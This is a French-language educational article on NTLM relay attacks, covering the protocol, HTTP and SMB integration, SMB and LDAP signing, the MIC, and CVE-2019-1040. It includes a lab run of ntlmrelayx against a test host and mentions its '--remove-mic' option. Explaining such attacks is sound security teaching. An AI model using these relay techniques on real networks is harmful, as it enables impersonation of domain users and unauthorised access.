Le relais NTLM repose, comme son nom l’indique, sur l’authentification NTLM. Le fonctionnement de NTLM a été vu dans l’article sur pass-the-hash. Je vous invite à lire au moins la partie sur le protocole NTLM et sur les authentifications locales et distantes.

Pour rappel, le protocole NTLM est utilisé pour authentifier un client auprès d’un serveur. Ce qu’on appelle client et serveur sont les deux parties de l’échange. Le client est celui qui souhaite s’authentifier, et le serveur est celui qui valide, ou non, l’authentification du client.

Cette authentification se déroule en 3 étapes :

D’abord le client indique au serveur qu’il veut s’authentifier.
Le serveur répond alors avec un défi, ou un challenge, qui n’est rien d’autre qu’une suite aléatoire de caractères.
Le client chiffre ce défi avec son secret, et renvoie le résultat au serveur, c’est sa réponse.

Ce procédé s’appelle challenge/response.

L’intérêt de cet échange, c’est que le secret de l’utilisateur ne transite jamais sur le réseau. C’est ce qu’on appelle une preuve à divulgation nulle de connaissance.

Relais NTLM

Avec ces informations, nous pouvons aisément imaginer le scénario suivant : Un attaquant arrive à se positionner entre le client et le serveur, et ne fait que relayer les informations de l’un vers l’autre.

Comme il est en position d’homme du milieu, cela signifie que du point de vue du client, la machine de l’attaquant est le serveur auprès duquel il souhaite s’authentifier, et du point de vue du serveur, l’attaquant est un client comme un autre qui souhaite s’authentifier.

Sauf que l’attaquant ne souhaite pas “juste” s’authentifier auprès du serveur. Il souhaite le faire en se faisant passer pour le client. Or, il ne connait pas le secret du client, et même s’il écoute les conversations, comme ce secret n’est jamais transmis sur le réseau, l’attaquant n’est pas en mesure d’extraire un quelconque secret pour ensuite s’authentifier auprès du serveur. Mais alors, comment ça fonctionne ?

Relais de messages

Lors d’une authentification NTLM, un client peut prouver à un serveur qu’il est bien qui il prétend être, et pour cela, il chiffre une information fournie par le serveur en utilisant son mot de passe. L’idée est alors que l’attaquant va se positionner en “passe plat”, en laissant le client travailler, et en passant les plats du client vers le serveur, et les réponse du serveur vers le client.

Tout ce que le client doit envoyer au serveur, c’est l’attaquant qui le recevra, et il renverra les messages tels quels au vrai serveur, et tous les messages que le serveur envoie au client, c’est également l’attaquant qui les recevra, et ils les transmettra au client, tels quels.

Et tout ça, ça fonctionne bien ! En effet, du point de vue du client, donc la partie de gauche sur le schéma, une authentification NTLM a lieu entre l’attaquant et lui, avec toutes les briques nécessaires. Le client envoie une demande d’authentification dans son premier message, ce à quoi l’attaquant répond avec un défi, ou challenge. En recevant ce challenge, le client construit sa réponse à l’aide de son secret, et envoie finalement le dernier message de l’authentification contenant notamment le challenge chiffré.

En l’état, l’attaquant ne peut (presque) rien faire de cet échange. Mais heureusement, il y a la partie droite du schéma. En effet, du point de vue du serveur, l’attaquant est un client comme un autre. Il a envoyé un premier message pour demander à s’authentifier, et le serveur a répondu avec un challenge. Comme l’attaquant a envoyé ce même challenge au vrai client, le vrai client a chiffré ce challenge avec son secret, et a répondu avec une réponse valide. L’attaquant peut donc envoyer cette réponse valide au serveur.

C’est là que réside tout l’intérêt de cette attaque. En effet, du point de vue du serveur, l’attaquant s’est authentifié auprès de lui en utilisant le secret de la victime, mais cela de manière transparente pour le serveur. Il n’a aucune idée du fait que l’attaquant rejouait ses réponses auprès du client pour que le client lui donne les bonnes réponses.

Ainsi, du point de vue du serveur, voilà ce qu’il s’est passé :

A la fin de ces échanges, l’attaquant est authentifié sur le serveur avec les identifiants du client.

Net-NTLMv1 et Net-NTLMv2

Pour information, c’est cette réponse valide relayée par l’attaquant dans le message 3, donc le chiffrement du challenge avec le secret, qu’on appelle communément le hash Net-NTLMv1 ou Net-NTLMv2, mais qu’on appellera ici Réponse NTLMv1 ou Réponse NTLMv2, comme indiqué dans le paragraphe préliminaire.

Pour être exact, ce n’est pas tout à fait le chiffrement du challenge, mais un condensat qui utilise le secret du client. C’est la fonction HMAC_MD5 qui est utilisée dans le cas de NTLMv2 par exemple. On peut tenter de casser ce type de hash par force brute. La cryptographie associée au calcul du hash NTLMv1 est obsolète, et le hash NT qui a servi à créer le hash peut être retrouvé très rapidement. En revanche pour NTLMv2 ça prend beaucoup plus de temps. Il est donc préférable et conseillé de ne pas autoriser les authentification avec NTLMv1 sur un réseau de production.

En pratique

A titre d’exemple, j’ai monté un petit lab avec plusieurs machines. Il y a notamment un client DESKTOP01 dont l’adresse IP est 192.168.56.221 et un serveur WEB01 avec comme IP 192.168.56.211. Ma machine est celle de l’attaquant, avec l’adresse IP 192.168.56.1. Nous nous trouvons donc dans la situation suivante :

L’attaquant a donc réussi à se mettre en position d’homme du milieu. Il existe différentes techniques pour y parvenir, que ce soit via un abus des configurations par défaut de IPv6 dans un environnement Windows, ou des protocoles LLMNR et NBT-NS. Quoiqu’il en soit, l’attaquant fait croire au client que c’est lui, le serveur. Ainsi, lorsque le client tente de s’authentifier, c’est auprès de l’attaquant qu’il va effectuer cette opération.

L’outil que j’utilise pour effectuer cette attaque est ntlmrelayx, outil présent dans la suite Impacket. Cet outil est présenté en détails dans cet article par Agsolino, le développeur de Impacket.

ntlmrelayx.py -t 192.168.56.211

L’outil crée différents serveurs, dont un serveur SMB pour cet exemple, et il écoute dessus. S’il reçoit une connexion sur ce serveur, il relaiera cette connexion vers la cible que nous lui fournissons, soit 192.168.56.211 dans cet exemple.

D’un point de vue réseau, voici une capture de l’échange, avec l’attaquant qui relaie les informations vers la cible.

En vert se trouvent les échanges entre le client DESKTOP01 et l’attaquant, et en rouge les échanges entre l’attaquant et le serveur WEB01. Nous voyons bien les 3 messages effectués entre DESKTOP01 et l’attaquant, et entre l’attaquant et le serveur WEB01.

Et pour bien comprendre la notion de relais, nous pouvons vérifier que lorsque le serveur WEB01 envoie un challenge à l’attaquant, l’attaquant renvoie exactement la même chose au client DESKTOP01.

Voilà le challenge envoyé par WEB01 à l’attaquant :

Lorsque l’attaquant reçoit ce challenge, il l’envoie à son tour, sans le modifier, au client DESKTOP01. Dans cet exemple, le challenge est b6515172c37197b0, et il est transmis au client :

Le client va alors calculer la réponse en utilisant son secret, comme nous l’avons vu dans les paragraphes précédents, et il va envoyer cette réponse en indiquant qui il est (jsnow), sur quelle machine il se trouve (DESKTOP01), et dans cet exemple il indique que c’est un utilisateur du domaine, donc il fournit le nom du domaine (ADSEC).

L’attaquant qui reçoit tout ça ne se pose pas de questions. Il envoie exactement les mêmes informations au serveur. Il prétend donc être l’utilisateur jsnow sur la machine DESKTOP01 et faisant partie du domaine ADSEC, et il envoie également la réponse qui a été calculée par le client, appelée NTLM Response dans ces captures d’écran, mais que nous pouvons également appeler Hash NTLMv2.

Nous voyons bien que l’attaquant a joué le rôle de relais dans cet échange. Il n’a fait que passer les informations du client vers le serveur et vice versa, sauf qu’in fine, le serveur pense que l’attaquant s’est authentifié avec succès, et l’attaquant peut alors effectuer des actions sur le serveur en se faisant passer pour ADSEC\jsnow.

Authentification vs Session

Maintenant que nous avons compris le principe de base du relais NTLM, la question qui se pose est de savoir comment, concrètement, est-ce qu’on peut effectuer des actions sur un serveur après avoir relayé l’authentification NTLM ? D’ailleurs, qu’entend-on par “actions” ? Qu’est-il possible de faire ?

Pour répondre à cette question, il faut d’abord éclaircir une chose fondamentale. Lorsqu’un client s’authentifie auprès d’un serveur pour y faire quelque chose, nous devons distinguer deux choses

L’authentification, permettant au serveur de vérifier que le client est bien qui il prétend être.
La session, durant laquelle le client va pouvoir faire des actions.

Ainsi, si le client s’est correctement authentifié, il pourra alors accéder aux ressources proposées par le serveur, telles que les partages réseau, l’accès à un annuaire LDAP, un serveur HTTP ou encore une base de données SQL. Cette liste n’est évidemment pas exhaustive.

Pour gérer ces deux étapes, il faut que le protocole utilisé puisse encapsuler l’authentification, donc l’échange des messages NTLM.

Bien entendu, si tous les protocoles devaient intégrer le fonctionnement de NTLM, ça deviendrait rapidement un joyeux bazar. C’est pourquoi Microsoft met à disposition une interface sur laquelle il est possible de se reposer pour gérer l’authentification, et des paquets ont été spécialement développés pour gérer différents types d’authentification.

SSPI & NTLMSSP

L’interface SSPI, ou Security Support Provider Interface, est une interface proposée par Microsoft permettant d’uniformiser l’authentification, quel que soit le type d’authentification utilisé. Différents paquets peuvent se brancher sur cette interface afin de gérer différents types d’authentification.

Dans notre cas, c’est le paquet NTLMSSP (NTLM Security Support Provider) qui nous intéresse, mais il y a également un paquet pour l’authentification Kerberos, par exemple.

Sans rentrer dans les détails, l’interface SSPI met à disposition plusieurs fonctions, dont AcquireCredentialsHandle, InitializeSecurityContext et AcceptSecurityContext.

Lors d’une authentification NTLM, le client et le serveur vont faire appel à ces différentes fonctions. Les étapes ne sont décrites que succintement ici.

Le client appelle AcquireCredentialsHandle afin d’avoir accès indirectement aux identifiants de l’utilisateur.
Le client appelle ensuite InitializeSecurityContext, fonction qui, appelée pour la première fois, créera un message de type 1, donc de type NEGOTIATE. Nous le savons puisque nous nous intéressons à NTLM, mais pour un programmeur, peu importe ce qu’est ce message. Tout ce qui compte est de l’envoyer au serveur.
Le serveur, en recevant le message, appelle la fonction AcceptSecurityContext. Cette fonction créera alors le message de type 2, c’est à dire le CHALLENGE.
En recevant ce message, le client appellera de nouveau InitializeSecurityContext mais cette fois en passant le CHALLENGE en argument. Le paquet NTLMSSP s’occupe de tout pour calculer la réponse en chiffrant le défi, et produira le dernier message AUTHENTICATE.
En recevant ce dernier message, le serveur fait également de nouveau appel à AcceptSecurityContext, et la vérification de l’authentification sera effectuée automatiquement.

La raison pour laquelle ces étapes sont expliquées, c’est pour montrer qu’en réalité, du point de vue du client ou du serveur, la structure des 3 messages qui sont échangés n’a pas d’importance. Nous savons, nous, avec les connaissances du protocole NTLM, à quoi correspondent ces messages, mais le client comme le serveur n’en ont rien à faire. Ces messages sont d’ailleurs décrits dans la documentation Microsoft comme des jetons opaques, ou opaque tokens.

Cela signifie que ces 5 étapes sont totalement indépendantes du type de client, ou du type de serveur. Elles fonctionnent quel que soit le protocole utilisé pourvu que le protocole ait quelque chose de prévu pour permettre d’échanger d’une manière ou d’une autre cette structure opaque du client vers le serveur.

Les protocoles se sont donc adaptés pour trouver un moyen de caler une structure NTLMSSP, Kerberos, ou autre, dans un champ précis, et si le client ou le serveur voit qu’il y a de la donnée dans ce champ, il ne fait que la passer à InitializeSecurityContext ou AcceptSecurityContext.

Ce point est assez important, puisqu’il montre clairement que la couche applicative (HTTP, SMB, SQL, …) est complètement indépendante de la couche d’authentification (NTLM, Kerberos, …). Par conséquent, il faut des mesures de sécurité et pour la couche d’authentification, et pour la couche applicative.

Pour mieux comprendre, nous allons voir les deux exemples de protocoles applicatifs SMB et HTTP. Il est assez facile de trouver de la documentation pour les autres protocoles, c’est un peu toujours le même principe.

Intégration avec HTTP

Voilà à quoi ressemble une requête HTTP basique.

GET /index.html HTTP/1.1
Host: beta.hackndo.com
User-Agent: Mozilla/5.0
Accept: text/html
Accept-Language: fr

Les éléments obligatoires dans cet exemple sont les suivants : le verbe HTTP (GET), la page demandée (index.html), la version du protocole (HTTP/1.1), ou l’en-tête Host (beta.hackndo.com).

Mais il est tout à fait possible d’ajouter d’autres en-têtes arbitraires. Au mieux, le serveur distant est au courant que ces en-têtes seront présents, et il saura les gérer, et au pire il les ignorera. On peut ainsi avoir la même requête avec quelques informations en plus.

GET /index.html HTTP/1.1
Host: beta.hackndo.com
User-Agent: Mozilla/5.0
Accept: text/html
Accept-Language: fr
X-Name: pixis
Favorite-Food: Beer 'coz yes, beer is food

C’est cette fonctionnalité qui est utilisée pour pouvoir transférer des messages NTLM du client vers le serveur. Il a été décidé que le client envoie ses messages dans un en-tête appelé Authorization et le serveur dans un en-tête appelé WWW-Authenticate. Si jamais un client tente d’accéder à un site internet demandant une authentification, le serveur va répondre en ajoutant l’en-tête WWW-Authenticate, et en mettant comme valeur les différents mécanismes d’authentification qu’il supporte. Pour NTLM, il indiquera tout simplement NTLM.

Le client sachant qu’une authentification NTLM est nécessaire, va envoyer le premier message dans l’en-tête Authorization, encodé en base 64 car le message ne contient pas que des caractères imprimables. Le serveur répondra avec un challenge dans l’en-tête WWW-Authenticate, le client calculera la réponse qu’il enverra dans Authorization et si l’authentification est acceptée, le serveur renverra un code de retour 200 indiquant que tout s’est correctement déroulé.

>    GET /index.html HTTP/1.1
>    Host: beta.hackndo.com
>    User-Agent: Mozilla/5.0
>    Accept: text/html
>    Accept-Language: fr

  <    HTTP/1.1 401 Unauthorized
  < => WWW-Authenticate: NTLM
  <    Content-type: text/html
  <    Content-Length: 0

>    GET /index.html HTTP/1.1
>    Host: beta.hackndo.com
>    User-Agent: Mozilla/5.0
>    Accept: text/html
>    Accept-Language: fr
> => Authorization: NTLM <NEGOCIATE en base 64>

  <    HTTP/1.1 401 Unauthorized
  < => WWW-Authenticate: NTLM <CHALLENGE en base 64>
  <    Content-type: text/html
  <    Content-Length: 0

>    GET /index.html HTTP/1.1
>    Host: beta.hackndo.com
>    User-Agent: Mozilla/5.0
>    Accept: text/html
>    Accept-Language: fr
> => Authorization: NTLM <RESPONSE en base 64>

  <    HTTP/1.1 200 OK
  < => WWW-Authenticate: NTLM
  <    Content-type: text/html
  <    Content-Length: 0
  <    Connection: close

Tant que la session TCP est ouverte, l’authentification sera effective. Dès que la session se termine, en revanche, le serveur n’aura plus le contexte de sécurité du client, et une nouvelle authentification devra avoir lieu. Ca peut souvent arriver, et grâce aux mécanismes de SSO (Single Sign On) de Microsoft, c’est souvent transparent pour l’utilisateur.

Intégration avec SMB

Prenons un autre exemple fréquemment rencontré en entreprise. C’est le protocole SMB, utilisé pour accéder à des partages réseau, mais pas que.

Le protocole SMB fonctionne en utilisant des commandes. Elles sont documentées par Microsoft, il en existe un grand nombre. On peut noter par exemple SMB_COM_OPEN, SMB_COM_CLOSE ou SMB_COM_READ, des commandes permettant d’ouvrir, fermer ou lire un fichier.

Et bien SMB possède également une commande dédiée à la configuration d’une session SMB, et cette commande est SMB_COM_SESSION_SETUP_ANDX. Deux champs sont dédiés au contenu des messages NTLM dans cette commande.

Authentification LM/LMv2 : OEMPassword
Authentification NTLM/NTLMv2 : UnicodePassword

Ce qu’il faut retenir, c’est qu’il existe une commande SMB spécifique possédant un espace dédié aux différents messages échangés lors d’une authentification NTLM.

Voici un exemple de packet SMB contenant la réponse d’un serveur à une authentification.

Ces deux exemples montrent bien que le contenu des messages NTLM est indépendant du protocole. Il peut être inclus dans n’importe quel protocole qui le supporte.

Il est alors très important de bien distinguer la partie authentification, donc les échanges NTLM, de la partie applicative, ou la partie session, qui est la suite des échanges via le protocole utilisé une fois que le client est authentifié. Ca peut donc être la navigation sur le site internet via HTTP ou des manipulations de fichiers sur un partage réseau si on utilise SMB.

Comme ces informations sont indépendantes, cela signifie qu’un attaquant en situation d’homme du milieu peut très bien recevoir une authentification via HTTP, par exemple, et la relayer vers un serveur mais en utilisant SMB. C’est ce qu’on appelle du relais cross-protocole.

En ayant tous ces aspects en tête, les chapitres suivants vont mettre en lumière les différentes faiblesses existantes ou ayant existé, et les mécanismes de sécurité qui entrent en jeu pour les combler.

Signature de la session

Principe

Une signature, c’est un mécanisme qui permet d’authentifier celui qui envoie un élément, et de garantir que cet élément n’a pas été modifié entre l’envoi et la réception. Par exemple, si l’utilisateur jdoe envoie le texte I love hackndo, et signe numériquement ce document, alors quiconque recevra ce document et sa signature pourra vérifier que c’est bien jdoe qui l’a édité, et sera assuré qu’il a bien écrit cette phrase, et pas une autre, puisque la signature garantit que le document n’a pas été modifié.

Le principe de signature peut être appliqué à n’importe quel échange, pour peu que le protocole le supporte. C’est par exemple le cas de SMB, LDAP et même de HTTP. En pratique, la signature des flux HTTP est rarement mise en place.

Mais du coup, c’est quoi l’intérêt de signer des paquets ? Et bien comme discuté précédemment, la session et l’authentification sont deux étapes distinctes lorsqu’un client veut utiliser un service. Etant donné qu’un attaquant peut se placer en homme du milieu, et relayer les messages d’authentification, il peut se faire passer pour le client auprès du serveur.

C’est là que la signature des flux entre en jeu. Même si l’attaquant a réussi à s’authentifier auprès du serveur en tant que le client, il ne sera pas en mesure, ensuite, indépendamment de l’authentification, de signer les paquets. En effet, pour pouvoir signer un paquet, il faut avoir connaissance du secret du signataire.

Or dans le relais NTLM, l’attaquant veut se faire passer pour un client, mais il n’a pas connaissance de son secret. Il n’est donc pas en mesure de signer quoi que ce soit au nom du client. Comme il ne peut pas signer le paquet, le serveur recevant le paquet va soit voir que la signature n’est pas présente, soit qu’elle n’existe pas, et rejettera la demande de l’attaquant.

Vous le comprenez donc bien, si les paquets doivent nécessairement être signés après l’authentification, alors l’attaquant ne peut plus opérer, puisqu’il n’a pas connaissance du secret du client. L’attaque échouera donc. C’est une mesure très efficace pour se protéger du relais NTLM.

C’est très bien tout ça, mais comment est-ce que le client et le serveur se mettent d’accord sur le fait de signer ou non les paquets ? Et bien c’est une très bonne question. Oui, je sais, c’est moi qui la pose, mais ça n’enlève rien à sa pertinence.

Pour cela, deux éléments entrent en jeu.

Le premier permet d’indiquer si la signature des flux est supportée. Cela est fait lors de la négociation NTLM.
Le deuxième permet d’indiquer si la signature des flux sera effectivement mise en place obligatoirement, optionnellement, ou pas du tout. C’est un réglage qui se fait au niveau du client et du serveur.

Négociation

Cette négociation permet de savoir si le client et/ou le serveur supportent la signature des flux (mais pas que), et se fait pendant l’échange NTLM. Donc je vous ai un peu menti tout à l’heure, les deux échanges ne sont pas complètement indépendants. (D’ailleurs, j’ai dit que comme c’était indépendant, on pouvait changer de protocole entre le client et le serveur, mais il y a des limites, nous les verrons dans le chapitre sur le MIC dans l’authentification NTLM.)

En fait, dans les messages NTLM, il y a d’autres informations que le challenge et la réponse qui sont échangées. Il y a également des drapeaux de négociation, ou Negotiate Flags. Ces drapeaux indiquent ce que supporte l’entité qui les envoie.

On trouve plusieurs drapeaux, mais celui qui nous intéresse ici c’est NEGOTIATE_SIGN.

Lorsque ce drapeau est mis à 1 par le client, cela signifie que le client supporte la signature des flux. Attention, ça ne veut pas dire qu’il va forcément signer ses flux. Juste qu’il en est capable.

De même lors de la réponse du serveur, s’il supporte la signature des flux alors le drapeau sera également positionné à 1.

Cette négociation permet donc à chacune des deux parties, client et serveur, d’indiquer à l’autre s’il est en mesure de signer les flux. Pour certains protocoles, même si le client et le serveur supportent la signature, ce n’est pas pour autant que forcément les flux seront signés.

Implémentation

Maintenant qu’on a vu comment les deux parties indiquent à l’autre leur capacité à signer les flux, il faut qu’ils se mettent d’accord sur le fait de signer les flux. Cette fois-ci, cette décision est faite en fonction du protocole. Ca sera donc décidé d’une certaine manière pour SMBv1, d’une autre pour SMBv2, et d’une autre encore pour LDAP. Mais l’idée reste la même.

En fonction du protocole, il existe en général 2 voire 3 options pour savoir si les flux seront signés. Les 3 options sont :

Désactivé : Cela signifie que la signature des flux n’est pas gérée.
Activé : Cette option indique que la machine peut gérer les flux signés, mais elle ne requiert pas qu’ils le soient.
Obligatoire : Ceci indique enfin que la fonctionnalité de signature des flux est non seulement gérée, mais que les flux doivent être signés pour que la session continue.

Nous allons voir ici l’exemple de deux protocoles, SMB et LDAP.

SMB

Matrice de signature

Une matrice est fournie dans la documentation Microsoft pour savoir si les flux SMB sont signés ou non en fonction des paramètres côté client et côté serveur. Je l’ai reprise dans ce tableau. Notez cependant que pour SMBv2 et supérieur, la signature est forcément gérée, le paramètre Disabled n’existe plus.

On note une différence lorsque les deux parties sont en Enabled. En effet, en SMBv1, le paramètre par défaut pour les serveurs était Disabled. Ainsi, tout le traffic SMB entre les clients et les serveurs n’était pas signé. Ca permettait d’éviter de surchager les serveurs en leur évitant de calculer des signatures à chaque envoi de paquet SMB. Comme le statut Disabled n’existe plus pour SMBv2, et que les serveurs sont maintenant en Enabled par défaut, afin de garder ce gain de charge, le comportement entre deux parties Enable a été modifié, et la signature des flux n’est plus mise en place dans ce cas. Il faut nécessairement que le client et/ou le serveur requiert la signature pour que les flux SMB soient signés.

Paramétrage

Afin de paramétrer un serveur, il convient de modifier les clés EnableSecuritySignature et RequireSecuritySignature dans la ruche HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters.

Cette capture d’écran a été faite sur un contrôleur de domaine. Par défaut, les contrôleurs de domaine requièrent la signature des flux SMB quand un client s’authentifie auprès d’eux. En effet, la GPO appliquée aux contrôleurs de domaine contient cette entrée :

En revanche, on peut voir sur cette capture qu’au dessus, le même paramètre appliqué à Microsoft network client n’est pas appliqué. Donc lorsque le contrôleur de domaine agit en tant que serveur SMB, les flux doivent être signés, mais si une connexion provient du contrôleur de domaine en direction d’un serveur, cette signature n’est pas requise.

Mise en place

Maintenant que l’on sait où se configure la signature des flux SMB, on peut voir ce paramètre appliqué lors d’une connexion. Elle se fait juste avant l’authentification. En fait, lorsqu’un client se connecte au serveur SMB, les étapes sont les suivantes :

Négociation de la version de SMB et de la signature des flux
Authentification
Session SMB avec les paramètres négociés

Voici un exemple de négociation de la signature des flux :

On voit une réponse d’un serveur indiquant qu’il possède le paramètre “Enable”, mais qu’il ne requiert pas la signature des flux.

Pour résumer, voici comment se déroule une négociation puis une authentification puis une session :

Dans la phase de négociation, les deux parties indiquent leurs prérequis : Est-ce que la signature est requise pour l’un des deux ?
Dans la phase d’authentification, les deux parties indiquent ce qu’ils supportent. Est-ce qu’il sont capables de signer les flux ?
Dans la phase de session, si les capabilités et les prérequis sont compatibles, la session s’effectue en appliquant ce qui a été négocié.

Par exemple si un client DESKTOP01 veut communiquer avec un contrôleur de domaine DC01, DESKTOP01 indique qu’il ne requiert pas de signature des flux, mais que cette fonctionnalité est activée.

DC01 indique en retour que non seulement la fonctionnalité est activée, mais qu’il la requiert.

La phase d’authentification arrive, le client et le serveur mettent le drapeau NEGOCIATE_SIGN à 1 puisqu’ils supportent tous les deux la signature des flux.

Une fois cette authentification terminée, la session se poursuit, et les échanges SMB sont effectivement signés.

LDAP

Matrice de signature

Pour LDAP, il y a également trois niveaux :

Désactivé (None) : Cela signifie que la signature des flux n’est pas gérée.
Négociée (Negociated Signing) : Cette option indique que la machine peut gérer la signature des flux, et que si la machine avec qui elle communique la gère aussi, alors ils seront signés.
Obligatoire (Required) : Ceci indique enfin que la fonctionnalité de signature des flux est non seulement gérée, mais que les flux doivent être signés pour que la session continue.

Comme vous pouvez le lire, le niveau intermédiaire, Negociated Signing diffère du cas SMBv2, car cette fois, si le client et le serveur sont en capacité de signer les flux, alors ils le feront. Tandis que pour SMBv2, les flux n’étaient signés que si l’un des deux étaient en niveau Required.

Nous avons donc pour LDAP une matrice ressemblant à celle de SMBv1, sauf pour les comportements par défaut.

La différence avec SMB est que dans un domaine Active Directory, toutes les machines sont en Negociated Signing. Le contrôleur de domaine n’est pas en Required.

Paramétrage

Pour le contrôleur de domaine, la clé de registre ldapserverintegrity se trouve dans la ruche HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NTDS\Parameters et peut valoir 0, 1 ou 2 en fonction du niveau. Elle est à 1 sur le contrôleur de domaine, par défaut.

Pour les clients, cette clé se trouve dans la ruche HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ldap

Elle est également à 1 pour les clients. Donc comme nous l’avons vu, comme tous les clients et les contrôleurs de domaine sont en Negociated Signing, tous les flux LDAP sont signés par défaut.

Mise en place

Contrairement à SMB, il n’y a pas de drapeau dans LDAP qui indique si les flux seront signés ou non. A la place, LDAP utilise les drapeaux positionné dans la négociation NTLM. En effet, il n’y a pas besoin d’avoir plus d’information. Dans le cas ou le client et le serveur supportent la signature LDAP, alors le drapeau NEGOTIATE_SIGN sera positionné et les flux seront signés.

Si une des deux parties requiert la signature des flux, et que l’autre ne la gère pas, alors tout simplement la session ne débutera pas. Celui qui requiert la signature des flux ignorera les paquets non signés.

Nous comprenons alors que, contrairement à SMB, si nous sommes entre un client et un serveur et que nous voulons relayer une authentification vers le serveur en utilisant LDAP, il faut deux choses :

Il faut que le serveur ne requiert pas la signature des flux, ce qui est le cas pour toutes les machines par défaut
Il faut que le client ne positionne pas le drapeau NEGOTIATE_SIGN à 1. S’il le fait, alors la signature sera attendue par le serveur, et comme nous ne connaissons pas le secret du client, nous ne pourrons pas communiquer avec lui.

Pour le point 2, il arrive que des clients ne positionnent pas ce drapeau, mais malheureusement, le client SMB de Windows le positionne ! Ainsi, en l’état, il n’est pas possible de relayer une authentification SMB vers du LDAP.

Et pourquoi pas seulement changer le drapeau NEGOTIATE_FLAG à la volée ? Et bien … Les messages NTLM sont également signés. C’est ce que nous allons voir dans le prochain paragraphe.

Signature de l’authentification (MIC)

Nous avons vu comment une session pouvait être protégée contre un attaquant en situation d’homme du milieu. Maintenant, pour comprendre l’intérêt de ce chapitre, intéressons-nous à un cas bien particulier.

Cas limite

Imaginons qu’un attaquant arrive à se mettre en position d’homme du milieu entre un client et un contrôleur de domaine, et qu’il reçoive une demande d’authentification via SMB. Sachant qu’un contrôleur de domaine impose la signature des messages SMB, il n’est pas possible pour l’attaquant de relayer cette authentification via SMB. Il est en revanche possible de changer de protocole, comme nous l’avons vu plus haut, et l’attaquant décide de relayer vers le protocole LDAPS, puisque comme on l’a vu, les données d’authentification sont indépendantes du protocole utilisé.

Enfin, presque indépendantes.

Presque, parce que nous avons vu que dans les données d’authentification, il y avait le drapeau NEGOTIATE_SIGN qui était seulement présent pour indiquer si le client et le serveur supportaient la signature des flux. Et dans certains cas, ce drapeau est pris en compte, comme on l’a vu avec LDAP.

Et bien pour LDAPS, ce drapeau est également pris en compte par le serveur. Si un serveur reçoit une demande d’authentification avec le drapeau NEGOTIATE_SIGN positionné à 1, il refuse d’authentifier le client. En effet, LDAPS c’est LDAP enrobé (oui j’aime le terme) de TLS, et c’est TLS qui gère la signature (et le chiffrement) des flux. Ainsi, un client LDAPS n’a aucune raison d’indiquer qu’il est en mesure de signer ses flux, et s’il prétend pouvoir le faire, le serveur lui rit au nez et claque la porte.

Or dans notre attaque, le client que nous relayons voulait s’authentifier via SMB, donc il indique que oui, il supporte la signature des flux, donc oui, il met le drapeau NEGOTIATE_SIGN à 1. Mais si nous relayons son authentification, sans rien modifier, via LDAPS, et bien le serveur LDAPS va voir ce drapeau, et ne va pas nous autoriser à communiquer avec lui.

Comme proposé avec le relais de SMB vers LDAP, nous pourrions tout simplement modifier le message NTLM à la volée, et enlever le drapeau. Si nous le pouvions, nous le ferions, et effectivement, ça fonctionnerait bien. Sauf qu’il y a également une signature au niveau NTLM.

Cette signature, elle s’appelle le MIC, ou Message Integrity Code.

Le MIC

Le MIC, c’est une signature qui est envoyée uniquement dans le dernier message d’une authentification NTLM, le message AUTHENTICATE. Elle prend en compte les 3 messages reçus. Le MIC est calculé avec la fonction HMAC_MD5, en utilisant comme clé un truc qui dépend du secret du client, appelé la clé de session.

HMAC_MD5(Clé de session, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)

Ce qui est important, c’est que la clé de session dépend du secret du client. Un attaquant ne peut donc pas re-calculer le MIC.

Voilà un exemple de MIC :

Du coup, si un seul des 3 messages a été modifié, le MIC ne sera plus valide, puisque la concaténation des 3 messages ne sera pas la même. On ne peut donc pas modifier le drapeau NEGOTIATE_SIGN à la volée, comme proposé dans notre exemple.

Et si on enlevait juste le MIC ? Parce que oui, le MIC est optionnel.

Non, ça ne marchera pas, car il y a un autre drapeau qui indique qu’un MIC sera présent, msAvFlags. Il est présent également dans la réponse et s’il indique 0x00000002, cela signifie au serveur qu’un MIC doit être présent. Donc si le serveur ne voit pas le MIC, il saura qu’il y a baleine sous caillou, et il refusera l’authentification. Si le drapeau dit qu’il doit y avoir un MIC, il doit y avoir un MIC.

Très bien, et si jamais on change ce drapeau, on le met à 0, et on enlève le MIC, il se passe quoi ? Comme il n’y a plus de MIC, on ne peut plus vérifier que le message a été modifié ?

…

Et bien, si. Il se trouve que le hash NTLMv2, qui est donc la réponse au challenge envoyé par le serveur, est un hash qui prend en compte non seulement le challenge (évidemment), mais également tous les drapeaux de la réponse. Et vous l’aurez deviné, le drapeau indiquant la présence d’un MIC fait partie de cette réponse.

Modifier ou retirer ce drapeau rendrait le hash NTLMv2 invalide, puisque la donnée aura été modifiée. Ce schéma permet de représenter tout ça.

Le MIC protège l’intégrité des 3 messages, le drapeau msAvFlags protège la présence du MIC, et le hash NTLMv2 protège la présence du drapeau. L’attaquant, n’ayant pas connaissance du secret de l’utilisateur, ne peut pas recalculer ce hash.

Vous l’aurez donc compris, en l’état, nous ne pouvons rien faire dans ce cas là, et ça c’est grâce au MIC.

Drop the MIC

Un petit retour sur une vulnérabilité récente trouvée par Preempt que vous comprendrez aisément maintenant.

C’est la CVE-2019-1040 joliement nommée Drop the MIC. Cette vulnérabilité montrait que dans le cas où on ne faisait que retirer le MIC, même si le drapeau indiquait sa présence, le serveur acceptait l’authentification sans broncher. C’était évidemment un bug qui a été corrigé depuis.

Elle a été intégrée dans l’outil ntlmrelayx via l’utilisation du paramètre --remove-mic.

Reprenons alors notre exemple de tout à l’heure, mais cette fois avec un contrôleur de domaine encore vulnérable. Voilà ce que ça donne en pratique.

Notre attaque fonctionne. Amazing.

Pour information, une autre vunérabilité a été trouvée par la même équipe, et s’appelle logiquement Drop The MIC 2.

Clé de session

Depuis tout à l’heure, nous parlons de signature de la session ou de l’authentification, en disant que pour signer quelque chose, il faut avoir connaissance du secret de l’utilisateur. Nous avons indiqué dans le chapitre sur le MIC qu’en réalité, ce n’est pas exactement le secret de l’utilisateur qui est utilisé, mais une clé appelée clé de session, qui dépend directement du secret de l’utilisateur.

Pour vous donner une idée, voici comment est calculée la clé de session pour NTLMv1 et NTLMv2

# Pour NTLMv1
Clé = MD4(Hash NT)

# Pour NTLMv2
Hash NTLMv2 = HMAC_MD5(hash NT, Uppercase(Username) + UserDomain)
Clé = HMAC_MD5(Hash NTLMv2, HMAC_MD5(Hash NTLMv2, Réponse NTLMv2 + Challenge))

